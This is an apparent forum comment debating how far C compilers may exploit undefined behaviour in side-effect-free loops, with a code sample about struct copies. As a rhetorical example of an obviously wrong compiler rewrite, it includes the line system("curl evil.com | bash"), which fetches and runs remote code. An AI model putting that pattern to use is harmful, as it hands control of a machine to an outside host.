|
> there's a huge difference between saying that a compiler need not treat a loop as sequenced with regard to outside code if none of the operations therein are likewise sequenced, versus saying that if a loop without side effects fails to terminate, compiler writers should regard all imaginable actions the program could perform as equally acceptable. Yes, definitely true. It's debatable whether it's okay for a compiler to rewrite code as in second example at https://news.ycombinator.com/item?id=22903396 , but it is not debatable that rewriting it as with anything equivalent to: if(x > 1 && x == slow_function_no_side_effects(x))
{ system("curl evil.com | bash"); }
is a compiler bug, undefined behaviour be damned.> that the authors of the Standard have latched onto the idea that optimizations must not be observable unless a program invokes Undefined Behavior I don't know if this quite characterizes the actual reasoning, but it does seem like a good summary of the overall situation, with "we might do x0 or x1, so x is undefined behaviour" ==> "x is undefined, so we'll do x79, even though we know that's horrible and obviously wrong". > I think the most useful set of behavioral guarantees would allow those elements of `x` and `y` to hold arbitrarily different values, but that `x` and `z` would match. Actually, I'm not sure that makes sense; your code is equivalent to: struct blob { uint16_t a[100]; } x,y,z;
void test2(void)
{
int indices[] = {1,0};
; {
int* dat = indices;
int n = 2;
; {
struct blob temp;
for(int i=0; i<n; i++) temp.a[i] = i;
/* should that be dat[i] ? */
x=temp;
y=temp;
}
}
z=x;
}
I don't think it makes sense to treat x=temp differently from z=x. Maybe if you treat local variables (temp) differently from global variables (x,y,z) but that seems brittle. (What happens if x,y,z are moved inside test2? What if temp is moved out? Does accessing some or all of them through pointers change things?) |